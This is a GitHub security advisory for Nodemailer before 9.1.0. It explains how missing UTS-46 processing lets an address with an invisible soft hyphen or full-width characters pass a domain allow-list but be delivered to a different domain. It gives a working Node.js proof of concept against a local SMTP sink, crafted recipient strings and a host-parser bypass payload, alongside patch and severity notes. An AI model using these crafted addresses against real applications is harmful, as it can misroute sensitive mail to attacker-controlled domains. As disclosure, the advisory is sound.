---
id: GHSA-wmmp-3585-3rmp
title: >-
  Nodemailer: IDN/Punycode domain allow-list bypass leads to email delivery to
  an attacker-controlled domain
summary: >-
  Nodemailer: IDN/Punycode domain allow-list bypass leads to email delivery to
  an attacker-controlled domain
severity: medium
cvss: 6.5
cwe:
  - CWE-20
  - CWE-436
vendor: nodemailer
product: nodemailer
ecosystem: npm
affected:
  - nodemailer < 9.1.0
patched:
  - nodemailer 9.1.0
published: '2026-09-08'
updated: '2026-09-08'
sourceUpdated: '2026-09-08T21:33:33Z'
source: GHSA
sourceUrl: 'https://github.com/advisories/GHSA-wmmp-3585-3rmp'
references:
  - url: >-
      https://github.com/nodemailer/nodemailer/security/advisories/GHSA-wmmp-3585-3rmp
  - url: 'https://github.com/nodemailer/nodemailer/pull/1848'
  - url: >-
      https://github.com/nodemailer/nodemailer/commit/259c32d7d266301e3377a212776c3fff993c0148
  - url: >-
      https://github.com/nodemailer/nodemailer/commit/b212ac4e27bce8182478044fcb8d1642ccdad46e
  - url: 'https://github.com/nodemailer/nodemailer/releases/tag/v9.1.0'
  - url: 'https://github.com/advisories/GHSA-wmmp-3585-3rmp'
tags:
  - ghsa
  - npm
ingestedAt: '2026-09-08T22:12:30.967Z'
---

## Overview

### Summary

Nodemailer resolves an international (IDN / non-ASCII) recipient **domain** to a different Punycode `xn--` label than every UTS‑46‑conformant parser (web browsers, the WHATWG URL Standard, Node's `url.domainToASCII`, Python's `idna`). Its address normalizer (`_normalizeAddress` in `lib/mime-node/index.js`) uses the bundled **raw RFC‑3492 Punycode codec with no UTS‑46 mapping/normalization**, so a domain that a standards‑compliant validator maps to a trusted domain is delivered by Nodemailer to a **different, attacker‑registrable domain**.

An application that applies a domain allow‑list / same‑domain check to a recipient using a normal IDN‑aware parser (or that shows the normalized recipient to a user for confirmation) and then relies on Nodemailer to deliver to that domain can be induced to send email to an **unintended external domain**. This is the same weakness class as CVE‑2025‑13033 (Interpretation Conflict, CWE‑436) but reached through IDN/Punycode rather than quoted local‑parts, and it is not addressed by the 7.0.7 fix.

Because the mismatch can be triggered with an **invisible** character (U+00AD SOFT HYPHEN) that UTS‑46 folds away to the *exact* trusted domain string, no visible look‑alike/homograph is required.

### Details

`lib/mime-node/index.js` → `_normalizeAddress(address)` (around lines 1307–1346) splits the address at the last `@` and normalizes the domain like this:

```js
// lib/mime-node/index.js
try {
    if (/[\x80-￿]/.test(user)) {
        encodedDomain = punycode.toUnicode(domain.toLowerCase());   // line ~1338
    } else {
        encodedDomain = punycode.toASCII(domain.toLowerCase());     // line ~1340
    }
} catch (_err) {
    // keep domain as supplied
}
return `${this._normalizeLocalPart(user)}@${encodedDomain}`;         // line ~1346
```

`punycode` here is the project’s bundled codec (`lib/punycode/`), which is a **pure RFC 3492 (Punycode) implementation**. The only normalization applied to the domain is `.toLowerCase()`. It performs **none of the UTS‑46 “IDNA2008 + compatibility processing” steps** that browsers and DNS‑facing resolvers apply before Punycode encoding, specifically:

* removing **Ignored** code points such as `U+00AD` SOFT HYPHEN,
* **Mapping** full‑width / compatibility characters to their canonical ASCII forms,
* Unicode **NFC** normalization,
* validity checks.

As a result, for any domain containing a UTS‑46‑mapped or ‑ignored character, Nodemailer’s `punycode.toASCII(...)` produces a **different A‑label** than `url.domainToASCII(...)` (Node ≥ 7 / WHATWG), `new URL('http://'+domain)`, browsers, and Python’s `idna` (`uts46=True`). Nodemailer then uses its A‑label as:

* the SMTP envelope recipient written to the wire as `RCPT TO:<local@xn--…>` (`getEnvelope()` → `lib/smtp-connection/index.js` `_setEnvelope`), **and**
* the address emitted in the `To:` / `From:` headers (`_convertAddresses`).

So the domain a standards‑compliant validator computes and the domain Nodemailer actually delivers to **disagree**, on a syntactically valid, validator‑accepted address. Concrete divergences (verified on 9.0.6):

| recipient (raw) | UTS‑46 parser (`url.domainToASCII`) | Nodemailer delivers to |
|---|---|---|
| `victim@compa{U+00AD}ny.com` (invisible soft hyphen) | `company.com` | `xn--company-pka.com` |
| `victim@ｃｏｍｐａｎｙ.com` (full‑width) | `company.com` | `xn--mi7cd4afch9d.com` |
| `user@exámple.com` (NFD `a`+U+0301) | `xn--exmple-qta.com` | `xn--example-vge.com` |

This is the “Punycode / IDN parser discrepancy” technique documented in PortSwigger’s *Splitting the email atom* research (which produced e.g. Joomla CVE‑2024‑21725 and fixes in the PHP `idna_convert` library). The fix for CVE‑2025‑13033 (nodemailer 7.0.7) hardened the *quoted‑local‑part* path only; this IDN path is independent and still present in **9.0.6 (latest)** and, given the long‑standing use of the bundled RFC‑3492 codec, earlier releases.

**Suggested remediation:** perform UTS‑46 processing before/at domain encoding so Nodemailer’s resolution matches browsers, validators, and DNS — e.g. use the runtime’s `url.domainToASCII()` (available since Node 7) instead of the raw `punycode.toASCII`, and decode with the matching UTS‑46 `domainToUnicode`. At minimum, reject a domain whose value changes under UTS‑46 mapping (i.e. `punycode.toASCII(d)` ≠ `url.domainToASCII(d)`).

### PoC

Environment: Node.js ≥ 18, the published `nodemailer@9.0.6`. No special configuration; the discrepancy is in domain normalization itself.

`poc-idn.js`:

```js
'use strict';
const net = require('net');
const url = require('url');
const nodemailer = require('nodemailer'); // 9.0.6

const TRUSTED   = 'company.com';                        // the only domain the app will mail
const RECIPIENT = 'victim@compa\u00ADny.com';           // attacker input: invisible U+00AD inside "company"

// The app's domain allow-list check, done the standard (UTS-46 / browser / WHATWG) way:
const seen = url.domainToASCII(RECIPIENT.split('@').pop());
console.log('validator (url.domainToASCII) sees:', JSON.stringify(seen),
            seen === TRUSTED ? '=> ALLOWED (equals trusted domain)' : '');

// A tiny SMTP sink that prints the literal RCPT TO Nodemailer transmits:
const server = net.createServer(sock => {
  let buf = ''; sock.write('220 sink\r\n');
  sock.on('data', d => { buf += d; let i;
    while ((i = buf.indexOf('\r\n')) >= 0) { const line = buf.slice(0, i); buf = buf.slice(i + 2);
      const u = line.toUpperCase();
      if (u.startsWith('EHLO')) sock.write('250-sink\r\n250 8BITMIME\r\n');
      else if (u.startsWith('RCPT')) { console.log('nodemailer transmits             :', line); sock.write('250 ok\r\n'); }
      else if (u.startsWith('DATA')) sock.write('354 go\r\n');
      else if (line === '.') sock.write('250 ok\r\n');
      else if (u.startsWith('QUIT')) { sock.write('221 bye\r\n'); sock.end(); }
      else sock.write('250 ok\r\n'); } });
});
server.listen(0, '127.0.0.1', async () => {
  const t = nodemailer.createTransport({ host: '127.0.0.1', port: server.address().port, secure: false });
  await t.sendMail({ from: 'app@company.com', to: RECIPIENT, subject: 'reset your password', text: 'secret link' });
  t.close(); server.close();
});
```

Run:

```
npm init -y && npm install nodemailer@9.0.6
node poc-idn.js
```

Actual output (Nodemailer 9.0.6):

```
validator (url.domainToASCII) sees: "company.com" => ALLOWED (equals trusted domain)
nodemailer transmits             : RCPT TO:<victim@xn--company-pka.com>
```

The application’s domain check approves `company.com`, but the message is sent to `xn--company-pka.com` — a **different domain an attacker can register** — carrying the `To:` header `<victim@xn--company-pka.com>` as well.

A containerized version that proves the same result against a **real RFC 5321 SMTP server** (`aiosmtpd`) is included alongside this report (`docker compose up --build`, cases `R6`/IDN); the receiving server accepts `RCPT TO:<victim@xn--company-pka.com>` and reports the recipient domain as `xn--company-pka.com`.

### Impact

Any application that uses Nodemailer to send mail to a recipient whose domain is subjected to a security or trust decision made with a *different* (UTS‑46‑conformant) parser, and then trusts Nodemailer to deliver to that domain. This includes:
  * recipient **allow‑list / block‑list / “same corporate domain” checks** implemented with `new URL()`, `url.domainToASCII`, a browser‑side check, or an IDN library;
  * flows that **display or log the normalized recipient domain** for human confirmation (the shown `company.com` differs from the delivered `xn--company-pka.com`);
  * any domain‑gated feature (employee‑only registration, “send only to our tenant”, notification routing).

## Patched in 9.1.0

Domain encoding now applies UTS-46 ([259c32d](https://github.com/nodemailer/nodemailer/commit/259c32d)), so `victim@compa­ny.com` resolves to `company.com`, matching `url.domainToASCII` and browsers.

One caveat on the suggested remediation, hardened in [b212ac4](https://github.com/nodemailer/nodemailer/commit/b212ac4): `url.domainToASCII` is a WHATWG **host parser**, not a pure UTS-46 mapper. It terminates the host at `/`, `\\`, `?` and `#` and percent-decodes. Used unguarded it introduces a worse version of the same weakness, since `user@attacker.example/mail.corp.example` encodes to the deliverable `user@attacker.example` where the bundled Punycode codec left it intact and unroutable. Those characters are now kept away from the mapper.

On severity, "attacker-registrable" is doing significant work in the report: `xn--company-pka.com` decodes to a label containing U+00AD and `xn--mi7cd4afch9d.com` to full-width Latin, neither of which Verisign's IDN tables permit for a .com registration. The misdelivery and the confirmation-UI mismatch stand regardless, which is why this is rated level with the comment issue rather than above it.

## Affected packages

- `nodemailer < 9.1.0`

## Remediation

Upgrade to a patched release:

- `nodemailer 9.1.0`
